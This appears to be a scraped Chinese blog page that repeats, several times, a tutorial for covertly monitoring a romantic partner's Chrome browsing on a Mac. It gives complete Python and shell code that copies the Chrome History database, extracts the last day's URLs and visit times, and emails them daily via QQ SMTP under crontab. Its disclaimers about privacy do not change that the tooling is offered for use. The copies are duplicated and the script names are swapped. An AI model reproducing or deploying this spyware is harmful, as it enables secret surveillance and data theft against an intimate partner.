!important;overflow-wrap: break-word !important;" />results = cursor.fetchall()<br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />with open('/Users/Marcel/Desktop/tmp/code/chrome_history/result.txt','w') as f:#改成自己的路径<br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> for i in range(len(results)):<br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> f.write(results[i][1]+'\n')<br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> f.write(results[i][0]+'\n')
通过这个脚本,我们可以把result.txt作为附件,发送给指定邮箱地址,下图是我得到的部分结果
(4) ./start.sh :其实,前面几个脚本,已经完成了我们的任务,但是每次都执行这么多脚本,太麻烦了,我们可以把这些脚本的执行语句整理成一个shell脚本。
cp /Users/Marcel/Library/Application\ Support/Google/Chrome/Default/History /Users/Marcel/Desktop/tmp/code/chrome_history/<br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />python /Users/Marcel/Desktop/tmp/code/chrome_history/get_history.py<br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />python /Users/Marcel/Desktop/tmp/code/chrome_history/send_mail.py /Users/Marcel/Desktop/tmp/code/chrome_history/result.txt
这样,我们在终端执行./start.sh,系统就会帮我们把这三条语句依次执行了
注意:由于crontab命令需要绝对路径,所以这里的路径都是用绝对路径
(5) crontab :如果使用了这个命令,在电脑开机并且联网的情况,系统会自动执行,然后把结果发到你的邮箱
使用方法:在终端下输入crontab -e,使用vim输入下面一行代码就可以了
<p style="margin-right: 16px;margin-bottom: 20px;margin-left: 16px;max-width: 100%;min-height: 1em;line-height: 1.75em;box-sizing: border-box !important;overflow-wrap: break-word !important;">20 14 * * * /Users/Marcel/Desktop/tmp/code/chrome_history/start.sh</p>
说明:前面两个数字,就是你每天执行这个脚本的时间,我这里设置的是14:20。
重要的事再说一遍,一定要写绝对路径!!!
问题:
1.server.login(from_addr, password)函数中的password不是邮箱密码,在qq邮箱中,指的是授权码
答:qq邮箱授权码:什么是授权码,它又是如何设置?_QQ邮箱帮助中心
2.访问History数据库时,显示The database is locked!
答:在我们打开浏览器的同时去访问History时,就会出现这种情况,有两种解决办法:
(1)关闭浏览器,再去访问
(2)把History拷贝到其他文件夹中,然后访问该文件夹下的History
3.timestamp时间戳怎么转换的
答:last_visit_time是微秒,所以要除以10^6;
last_visit_time的起始值是1601年1月1日0时0分0秒,所以要减去;
筛选昨天的数据:现在的日期与last_visit_time的差值小于1的数据,就是距离当前时
间小于1天的数据
4.crontab出错
答:crontab中所有路径都要写绝对路径,包括py脚本中的路径也要写绝对路径!
5.路劲问题
答:大家在复现的时候,要注意把路劲改成自己电脑上的,还有那个邮箱相关的信息也要改成自己的。
总结:
1.运用python连接SQLite数据库,并执行sql操作
2.运用python发送邮件
3.运用shell和crontab建立自动化例行任务
4.看别人隐私是不对的,这篇文章只是我自己瞎玩的,实际可行性不强
展望:
1.把这些打包成一个可执行文件,双击之后可以直接部署,并且可以跨平台
2.目前这个脚本,只有在电脑是打开并且联网的时候,才能自动执行,所以并不能理想地监控别人的浏览记录哦!
学习Python就关注:datanami
近期文章: 查看全部
用Python监控你的女朋友/男朋友每天都在看哪些网站
需求:
(1) 获取你对象chrome前一天的浏览记录中的所有网址(url)和访问时间,并存在一个txt文件中
(2)将这个txt文件发送给指定的邮箱地址(你的邮箱)
(3)建立例行任务,每天定时自动完成这些操作,你就可以通过邮件查看你对象每天看啥了
背景:
(1)mac下chrome的浏览记录在哪?怎么获取网址(url)和访问时间?
答:路径:/Users/用户名/Library/Application\ Support/Google/Chrome/Default/History
History:是一个SQLite数据库,其实就是一个文件,可以用DB Browser for SQLite
去查看所有的信息,我们要的信息在urls表中
怎么获取:用python内置的sqlite3库连接History,通过sql得到我们想要的信息
(2)怎么发送一个带附件的邮件?
答:使用python内置的email和smtplib两个模块去构造和发送邮件
(3)怎么把这些过程自动化?
答:使用shell脚本将这些过程连接起来,然后使用crontab命令定时运行
准备
macOS Sierra
Python3.6
Chrome
发送邮件的qq邮箱地址
qq邮箱授权码
SMTP服务器地址 :
接受邮件的邮箱地址
执行:
(1) 首先我们用DB Browser for SQLite来看下History中的urls表的数据组成
从表中可以看出,我们要的网址和访问时间就在urls.url和urls.last_visit_time中
(2) get_history.py:
# -*- coding: utf-8 -*-<br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />from email import encoders<br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />from email.header import Header<br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />from email.mime.text import MIMEText<br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />from email.mime.multipart import MIMEMultipart<br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />from email.mime.base import MIMEBase<br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />from email.utils import parseaddr, formataddr<br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />import smtplib<br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />import argparse<br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /><br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /># 1.文件执行的需要的参数(result.txt)<br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />parser = argparse.ArgumentParser()<br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />parser.add_argument('affix_file',help='the path of the affix')<br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />args = parser.parse_args()<br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /><br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /><br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /># 2.格式化一个邮件地址和邮件信息<br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />def _format_addr(s):<br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> name, addr = parseaddr(s)<br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> return formataddr((Header(name, 'utf-8').encode(), addr))<br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /><br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />#连接服务器(这里大家好改成自己的!)<br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />from_addr = "771568102@qq.com" #发件人邮箱<br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />password = "xxxxxxxx" #发件人邮箱授权码<br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />to_addr = "2160802033@cnu.edu.cn" #收件人邮箱<br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />smtp_server = "smtp.qq.com" #SMTP服务器地址<br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /><br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />#邮件发件人名字、收件人名字、主题<br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />msg = MIMEMultipart()<br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />msg['From'] = _format_addr('风一样的女子 ' % from_addr)<br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />msg['To'] = _format_addr('风一样的男子 ' % to_addr)<br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />msg['Subject'] = Header('chrome历史记录每日更新', 'utf-8').encode()<br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /><br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /># 邮件正文是MIMEText:<br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />msg.attach(MIMEText('窥探隐私是犯法的啊!', 'plain', 'utf-8'))<br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /><br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /># 添加附件就是加上一个MIMEBase,从本地读取一个txt文件:<br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />with open(args.affix_file, 'r') as f:<br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> # 设置附件的MIME和文件名,这里是py类型:<br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> mime = MIMEBase('result', 'txt', filename='result.txt')<br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> # 加上必要的头信息:<br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> mime.add_header('Content-Disposition', 'attachment', filename='result.txt')<br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> mime.add_header('Content-ID', '')<br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> mime.add_header('X-Attachment-Id', '0')<br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> # 把附件的内容读进来:<br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> mime.set_payload(f.read())<br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> # 用Base64编码:<br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> encoders.encode_base64(mime)<br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> # 添加到MIMEMultipart:<br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> msg.attach(mime)<br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /><br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />#3.通过SMTP发送出去<br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />server = smtplib.SMTP(smtp_server, 25)<br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />server.set_debuglevel(1)<br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />server.login(from_addr, password)<br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />server.sendmail(from_addr, [to_addr], msg.as_string())<br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />server.quit()
通过这个脚本,我们可以把url和访问时间提取出来,并且存储在result.txt中,下图就是我得到的部分结果
(3) send_email.py:
# -*- coding: utf-8 -*-<br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />import sqlite3<br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /><br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />#大家要改成自己的路径<br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />history_db = '/Users/Marcel/Desktop/tmp/code/chrome_history/History'<br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /><br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /># 1.连接history_db<br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />c = sqlite3.connect(history_db)<br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />cursor = c.cursor()<br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /><br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /><br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /># 2.选取我们想要的网址和访问时间<br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />try:<br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> select_statement = "SELECT url,datetime(last_visit_time/1000000-11644473600,'unixepoch','localtime') AS tm FROM urls WHERE julianday('now') - julianday(tm) < 1 ORDER BY tm;"<br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> cursor.execute(select_statement)<br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />except sqlite3.OperationalError:<br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> print("[!] The database is locked! Please exit Chrome and run the script again.")<br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> quit()<br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /><br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /># 3.将网址和访问时间存入result.txt文件<br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />results = cursor.fetchall()<br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />with open('/Users/Marcel/Desktop/tmp/code/chrome_history/result.txt','w') as f:#改成自己的路径<br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> for i in range(len(results)):<br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> f.write(results[i][1]+'\n')<br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" /> f.write(results[i][0]+'\n')
通过这个脚本,我们可以把result.txt作为附件,发送给指定邮箱地址,下图是我得到的部分结果
(4) ./start.sh :其实,前面几个脚本,已经完成了我们的任务,但是每次都执行这么多脚本,太麻烦了,我们可以把这些脚本的执行语句整理成一个shell脚本。
cp /Users/Marcel/Library/Application\ Support/Google/Chrome/Default/History /Users/Marcel/Desktop/tmp/code/chrome_history/<br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />python /Users/Marcel/Desktop/tmp/code/chrome_history/get_history.py<br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />python /Users/Marcel/Desktop/tmp/code/chrome_history/send_mail.py /Users/Marcel/Desktop/tmp/code/chrome_history/result.txt
这样,我们在终端执行./start.sh,系统就会帮我们把这三条语句依次执行了
注意:由于crontab命令需要绝对路径,所以这里的路径都是用绝对路径
(5) crontab :如果使用了这个命令,在电脑开机并且联网的情况,系统会自动执行,然后把结果发到你的邮箱
使用方法:在终端下输入crontab -e,使用vim输入下面一行代码就可以了
<p style="margin-right: 16px;margin-bottom: 20px;margin-left: 16px;max-width: 100%;min-height: 1em;line-height: 1.75em;box-sizing: border-box !important;overflow-wrap: break-word !important;">20 14 * * * /Users/Marcel/Desktop/tmp/code/chrome_history/start.sh</p>
说明:前面两个数字,就是你每天执行这个脚本的时间,我这里设置的是14:20。
重要的事再说一遍,一定要写绝对路径!!!
问题:
1.server.login(from_addr, password)函数中的password不是邮箱密码,在qq邮箱中,指的是授权码
答:qq邮箱授权码:什么是授权码,它又是如何设置?_QQ邮箱帮助中心
2.访问History数据库时,显示The database is locked!
答:在我们打开浏览器的同时去访问History时,就会出现这种情况,有两种解决办法:
(1)关闭浏览器,再去访问
(2)把History拷贝到其他文件夹中,然后访问该文件夹下的History
3.timestamp时间戳怎么转换的
答:last_visit_time是微秒,所以要除以10^6;
last_visit_time的起始值是1601年1月1日0时0分0秒,所以要减去;
筛选昨天的数据:现在的日期与last_visit_time的差值小于1的数据,就是距离当前时
间小于1天的数据
4.crontab出错
答:crontab中所有路径都要写绝对路径,包括py脚本中的路径也要写绝对路径!
5.路劲问题
答:大家在复现的时候,要注意把路劲改成自己电脑上的,还有那个邮箱相关的信息也要改成自己的。
总结:
1.运用python连接SQLite数据库,并执行sql操作
2.运用python发送邮件
3.运用shell和crontab建立自动化例行任务
4.看别人隐私是不对的,这篇文章只是我自己瞎玩的,实际可行性不强
展望:
1.把这些打包成一个可执行文件,双击之后可以直接部署,并且可以跨平台
2.目前这个脚本,只有在电脑是打开并且联网的时候,才能自动执行,所以并不能理想地监控别人的浏览记录哦!
学习Python就关注:datanami
近期文章:
用编程语言监控了女朋友每天都在看的网站,我发现了一个秘密
网站优化 • 优采云 发表了文章 • 0 个评论 • 145 次浏览 • 2022-05-29 05:50
需求:
(1) 获取你对象chrome前一天的浏览记录中的所有网址(url)和访问时间,并存在一个txt文件中
(2)将这个txt文件发送给指定的邮箱地址(你的邮箱)
(3)建立例行任务,每天定时自动完成这些操作,你就可以通过邮件查看你对象每天看啥了
背景:
(1)mac下chrome的浏览记录在哪?怎么获取网址(url)和访问时间?
答:路径:/Users/用户名/Library/Application\ Support/Google/Chrome/Default/History
History:是一个SQLite数据库,其实就是一个文件,可以用DB Browser for SQLite
去查看所有的信息,我们要的信息在urls表中
怎么获取:用python内置的sqlite3库连接History,通过sql得到我们想要的信息
(2)怎么发送一个带附件的邮件?
答:使用python内置的email和smtplib两个模块去构造和发送邮件
(3)怎么把这些过程自动化?
答:使用shell脚本将这些过程连接起来,然后使用crontab命令定时运行
准备
macOS Sierra
Python3.6
Chrome
发送邮件的qq邮箱地址
qq邮箱授权码
SMTP服务器地址 :
接受邮件的邮箱地址
执行:
(1) 首先我们用DB Browser for SQLite来看下History中的urls表的数据组成
从表中可以看出,我们要的网址和访问时间就在urls.url和urls.last_visit_time中
(2) get_history.py:
# -*- coding: utf-8 -*-<br />from email import encoders<br />from email.header import Header<br />from email.mime.text import MIMEText<br />from email.mime.multipart import MIMEMultipart<br />from email.mime.base import MIMEBase<br />from email.utils import parseaddr, formataddr<br />import smtplib<br />import argparse<br /><br /># 1.文件执行的需要的参数(result.txt)<br />parser = argparse.ArgumentParser()<br />parser.add_argument('affix_file',help='the path of the affix')<br />args = parser.parse_args()<br /><br /><br /># 2.格式化一个邮件地址和邮件信息<br />def _format_addr(s):<br /> name, addr = parseaddr(s)<br /> return formataddr((Header(name, 'utf-8').encode(), addr))<br /><br />#连接服务器(这里大家好改成自己的!)<br />from_addr = "771568102@qq.com" #发件人邮箱<br />password = "xxxxxxxx" #发件人邮箱授权码<br />to_addr = "2160802033@cnu.edu.cn" #收件人邮箱<br />smtp_server = "smtp.qq.com" #SMTP服务器地址<br /><br />#邮件发件人名字、收件人名字、主题<br />msg = MIMEMultipart()<br />msg['From'] = _format_addr('风一样的女子 ' % from_addr)<br />msg['To'] = _format_addr('风一样的男子 ' % to_addr)<br />msg['Subject'] = Header('chrome历史记录每日更新', 'utf-8').encode()<br /><br /># 邮件正文是MIMEText:<br />msg.attach(MIMEText('窥探隐私是犯法的啊!', 'plain', 'utf-8'))<br /><br /># 添加附件就是加上一个MIMEBase,从本地读取一个txt文件:<br />with open(args.affix_file, 'r') as f:<br /> # 设置附件的MIME和文件名,这里是py类型:<br /> mime = MIMEBase('result', 'txt', filename='result.txt')<br /> # 加上必要的头信息:<br /> mime.add_header('Content-Disposition', 'attachment', filename='result.txt')<br /> mime.add_header('Content-ID', '')<br /> mime.add_header('X-Attachment-Id', '0')<br /> # 把附件的内容读进来:<br /> mime.set_payload(f.read())<br /> # 用Base64编码:<br /> encoders.encode_base64(mime)<br /> # 添加到MIMEMultipart:<br /> msg.attach(mime)<br /><br />#3.通过SMTP发送出去<br />server = smtplib.SMTP(smtp_server, 25)<br />server.set_debuglevel(1)<br />server.login(from_addr, password)<br />server.sendmail(from_addr, [to_addr], msg.as_string())<br />server.quit()
通过这个脚本,我们可以把url和访问时间提取出来,并且存储在result.txt中,下图就是我得到的部分结果
(3) send_email.py:
# -*- coding: utf-8 -*-<br />import sqlite3<br /><br />#大家要改成自己的路径<br />history_db = '/Users/Marcel/Desktop/tmp/code/chrome_history/History'<br /><br /># 1.连接history_db<br />c = sqlite3.connect(history_db)<br />cursor = c.cursor()<br /><br /><br /># 2.选取我们想要的网址和访问时间<br />try:<br /> select_statement = "SELECT url,datetime(last_visit_time/1000000-11644473600,'unixepoch','localtime') AS tm FROM urls WHERE julianday('now') - julianday(tm) < 1 ORDER BY tm;"<br /> cursor.execute(select_statement)<br />except sqlite3.OperationalError:<br /> print("[!] The database is locked! Please exit Chrome and run the script again.")<br /> quit()<br /><br /># 3.将网址和访问时间存入result.txt文件<br />results = cursor.fetchall()<br />with open('/Users/Marcel/Desktop/tmp/code/chrome_history/result.txt','w') as f:#改成自己的路径<br /> for i in range(len(results)):<br /> f.write(results[i][1]+'\n')<br /> f.write(results[i][0]+'\n')
通过这个脚本,我们可以把result.txt作为附件,发送给指定邮箱地址,下图是我得到的部分结果
(4) ./start.sh :其实,前面几个脚本,已经完成了我们的任务,但是每次都执行这么多脚本,太麻烦了,我们可以把这些脚本的执行语句整理成一个shell脚本。
cp /Users/Marcel/Library/Application\ Support/Google/Chrome/Default/History /Users/Marcel/Desktop/tmp/code/chrome_history/<br />python /Users/Marcel/Desktop/tmp/code/chrome_history/get_history.py<br />python /Users/Marcel/Desktop/tmp/code/chrome_history/send_mail.py /Users/Marcel/Desktop/tmp/code/chrome_history/result.txt
这样,我们在终端执行./start.sh,系统就会帮我们把这三条语句依次执行了
注意:由于crontab命令需要绝对路径,所以这里的路径都是用绝对路径
(5) crontab :如果使用了这个命令,在电脑开机并且联网的情况,系统会自动执行,然后把结果发到你的邮箱
使用方法:在终端下输入crontab -e,使用vim输入下面一行代码就可以了
<p style="margin-right: 16px;margin-bottom: 20px;margin-left: 16px;line-height: 1.75em;">20 14 * * * /Users/Marcel/Desktop/tmp/code/chrome_history/start.sh</p>
说明:前面两个数字,就是你每天执行这个脚本的时间,我这里设置的是14:20。
重要的事再说一遍,一定要写绝对路径!!!
问题:
1.server.login(from_addr, password)函数中的password不是邮箱密码,在qq邮箱中,指的是授权码
答:qq邮箱授权码:什么是授权码,它又是如何设置?_QQ邮箱帮助中心
2.访问History数据库时,显示The database is locked!
答:在我们打开浏览器的同时去访问History时,就会出现这种情况,有两种解决办法:
(1)关闭浏览器,再去访问
(2)把History拷贝到其他文件夹中,然后访问该文件夹下的History
3.timestamp时间戳怎么转换的
答:last_visit_time是微秒,所以要除以10^6;
last_visit_time的起始值是1601年1月1日0时0分0秒,所以要减去;
筛选昨天的数据:现在的日期与last_visit_time的差值小于1的数据,就是距离当前时
间小于1天的数据
4.crontab出错
答:crontab中所有路径都要写绝对路径,包括py脚本中的路径也要写绝对路径!
5.路径问题
答:大家在复现的时候,要注意把路径改成自己电脑上的,还有那个邮箱相关的信息也要改成自己的。
总结:
1.运用python连接SQLite数据库,并执行sql操作
2.运用python发送邮件
3.运用shell和crontab建立自动化例行任务
4.看别人隐私是不对的,这篇文章只是我自己瞎玩的,实际可行性不强
展望:
1.把这些打包成一个可执行文件,双击之后可以直接部署,并且可以跨平台
2.目前这个脚本,只有在电脑是打开并且联网的时候,才能自动执行,所以并不能理想地监控别人的浏览记录哦!
其实我也没找到什么秘密
<p style="margin-right: 16px;margin-left: 16px;outline: 0px;font-family: -apple-system, system-ui, "Helvetica Neue", "PingFang SC", "Hiragino Sans GB", "Microsoft YaHei UI", "Microsoft YaHei", Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;line-height: 1.75em;">---END---</p>
<p style="outline: 0px;font-family: -apple-system, BlinkMacSystemFont, "Helvetica Neue", "PingFang SC", "Hiragino Sans GB", "Microsoft YaHei UI", "Microsoft YaHei", Arial, sans-serif;letter-spacing: 0.544px;text-align: center;">往日文章:Java 8“失宠”,开发人员向Java 11转移<br style="outline: 0px;" />我在美团的八年<br style="outline: 0px;" />别乱用,这样打日志定位 Bug 又快又准!<br style="outline: 0px;" />分享一波 Android 性能优化的总结!<br style="outline: 0px;" />Java 和 C 长期霸权结束<br style="outline: 0px;" />我用Jetpack Compose 编写 了一个AndroidTV 应用~<br style="outline: 0px;" />很任性!我开发了一款自己用的天气预报 app<br style="outline: 0px;" />AudioRecord采集音频数据及合成<br style="outline: 0px;" />【译】macOS 上 Flutter Desktop 与 Electron 的性能对比<br style="outline: 0px;" />将图片库优化到底!京东京喜App是如何做的?<br style="outline: 0px;" /><br style="outline: 0px;" />
更文不易,点个“在看”支持一下</p> 查看全部
用编程语言监控了女朋友每天都在看的网站,我发现了一个秘密
需求:
(1) 获取你对象chrome前一天的浏览记录中的所有网址(url)和访问时间,并存在一个txt文件中
(2)将这个txt文件发送给指定的邮箱地址(你的邮箱)
(3)建立例行任务,每天定时自动完成这些操作,你就可以通过邮件查看你对象每天看啥了
背景:
(1)mac下chrome的浏览记录在哪?怎么获取网址(url)和访问时间?
答:路径:/Users/用户名/Library/Application\ Support/Google/Chrome/Default/History
History:是一个SQLite数据库,其实就是一个文件,可以用DB Browser for SQLite
去查看所有的信息,我们要的信息在urls表中
怎么获取:用python内置的sqlite3库连接History,通过sql得到我们想要的信息
(2)怎么发送一个带附件的邮件?
答:使用python内置的email和smtplib两个模块去构造和发送邮件
(3)怎么把这些过程自动化?
答:使用shell脚本将这些过程连接起来,然后使用crontab命令定时运行
准备
macOS Sierra
Python3.6
Chrome
发送邮件的qq邮箱地址
qq邮箱授权码
SMTP服务器地址 :
接受邮件的邮箱地址
执行:
(1) 首先我们用DB Browser for SQLite来看下History中的urls表的数据组成
从表中可以看出,我们要的网址和访问时间就在urls.url和urls.last_visit_time中
(2) get_history.py:
# -*- coding: utf-8 -*-<br />from email import encoders<br />from email.header import Header<br />from email.mime.text import MIMEText<br />from email.mime.multipart import MIMEMultipart<br />from email.mime.base import MIMEBase<br />from email.utils import parseaddr, formataddr<br />import smtplib<br />import argparse<br /><br /># 1.文件执行的需要的参数(result.txt)<br />parser = argparse.ArgumentParser()<br />parser.add_argument('affix_file',help='the path of the affix')<br />args = parser.parse_args()<br /><br /><br /># 2.格式化一个邮件地址和邮件信息<br />def _format_addr(s):<br /> name, addr = parseaddr(s)<br /> return formataddr((Header(name, 'utf-8').encode(), addr))<br /><br />#连接服务器(这里大家好改成自己的!)<br />from_addr = "771568102@qq.com" #发件人邮箱<br />password = "xxxxxxxx" #发件人邮箱授权码<br />to_addr = "2160802033@cnu.edu.cn" #收件人邮箱<br />smtp_server = "smtp.qq.com" #SMTP服务器地址<br /><br />#邮件发件人名字、收件人名字、主题<br />msg = MIMEMultipart()<br />msg['From'] = _format_addr('风一样的女子 ' % from_addr)<br />msg['To'] = _format_addr('风一样的男子 ' % to_addr)<br />msg['Subject'] = Header('chrome历史记录每日更新', 'utf-8').encode()<br /><br /># 邮件正文是MIMEText:<br />msg.attach(MIMEText('窥探隐私是犯法的啊!', 'plain', 'utf-8'))<br /><br /># 添加附件就是加上一个MIMEBase,从本地读取一个txt文件:<br />with open(args.affix_file, 'r') as f:<br /> # 设置附件的MIME和文件名,这里是py类型:<br /> mime = MIMEBase('result', 'txt', filename='result.txt')<br /> # 加上必要的头信息:<br /> mime.add_header('Content-Disposition', 'attachment', filename='result.txt')<br /> mime.add_header('Content-ID', '')<br /> mime.add_header('X-Attachment-Id', '0')<br /> # 把附件的内容读进来:<br /> mime.set_payload(f.read())<br /> # 用Base64编码:<br /> encoders.encode_base64(mime)<br /> # 添加到MIMEMultipart:<br /> msg.attach(mime)<br /><br />#3.通过SMTP发送出去<br />server = smtplib.SMTP(smtp_server, 25)<br />server.set_debuglevel(1)<br />server.login(from_addr, password)<br />server.sendmail(from_addr, [to_addr], msg.as_string())<br />server.quit()
通过这个脚本,我们可以把url和访问时间提取出来,并且存储在result.txt中,下图就是我得到的部分结果
(3) send_email.py:
# -*- coding: utf-8 -*-<br />import sqlite3<br /><br />#大家要改成自己的路径<br />history_db = '/Users/Marcel/Desktop/tmp/code/chrome_history/History'<br /><br /># 1.连接history_db<br />c = sqlite3.connect(history_db)<br />cursor = c.cursor()<br /><br /><br /># 2.选取我们想要的网址和访问时间<br />try:<br /> select_statement = "SELECT url,datetime(last_visit_time/1000000-11644473600,'unixepoch','localtime') AS tm FROM urls WHERE julianday('now') - julianday(tm) < 1 ORDER BY tm;"<br /> cursor.execute(select_statement)<br />except sqlite3.OperationalError:<br /> print("[!] The database is locked! Please exit Chrome and run the script again.")<br /> quit()<br /><br /># 3.将网址和访问时间存入result.txt文件<br />results = cursor.fetchall()<br />with open('/Users/Marcel/Desktop/tmp/code/chrome_history/result.txt','w') as f:#改成自己的路径<br /> for i in range(len(results)):<br /> f.write(results[i][1]+'\n')<br /> f.write(results[i][0]+'\n')
通过这个脚本,我们可以把result.txt作为附件,发送给指定邮箱地址,下图是我得到的部分结果
(4) ./start.sh :其实,前面几个脚本,已经完成了我们的任务,但是每次都执行这么多脚本,太麻烦了,我们可以把这些脚本的执行语句整理成一个shell脚本。
cp /Users/Marcel/Library/Application\ Support/Google/Chrome/Default/History /Users/Marcel/Desktop/tmp/code/chrome_history/<br />python /Users/Marcel/Desktop/tmp/code/chrome_history/get_history.py<br />python /Users/Marcel/Desktop/tmp/code/chrome_history/send_mail.py /Users/Marcel/Desktop/tmp/code/chrome_history/result.txt
这样,我们在终端执行./start.sh,系统就会帮我们把这三条语句依次执行了
注意:由于crontab命令需要绝对路径,所以这里的路径都是用绝对路径
(5) crontab :如果使用了这个命令,在电脑开机并且联网的情况,系统会自动执行,然后把结果发到你的邮箱
使用方法:在终端下输入crontab -e,使用vim输入下面一行代码就可以了
<p style="margin-right: 16px;margin-bottom: 20px;margin-left: 16px;line-height: 1.75em;">20 14 * * * /Users/Marcel/Desktop/tmp/code/chrome_history/start.sh</p>
说明:前面两个数字,就是你每天执行这个脚本的时间,我这里设置的是14:20。
重要的事再说一遍,一定要写绝对路径!!!
问题:
1.server.login(from_addr, password)函数中的password不是邮箱密码,在qq邮箱中,指的是授权码
答:qq邮箱授权码:什么是授权码,它又是如何设置?_QQ邮箱帮助中心
2.访问History数据库时,显示The database is locked!
答:在我们打开浏览器的同时去访问History时,就会出现这种情况,有两种解决办法:
(1)关闭浏览器,再去访问
(2)把History拷贝到其他文件夹中,然后访问该文件夹下的History
3.timestamp时间戳怎么转换的
答:last_visit_time是微秒,所以要除以10^6;
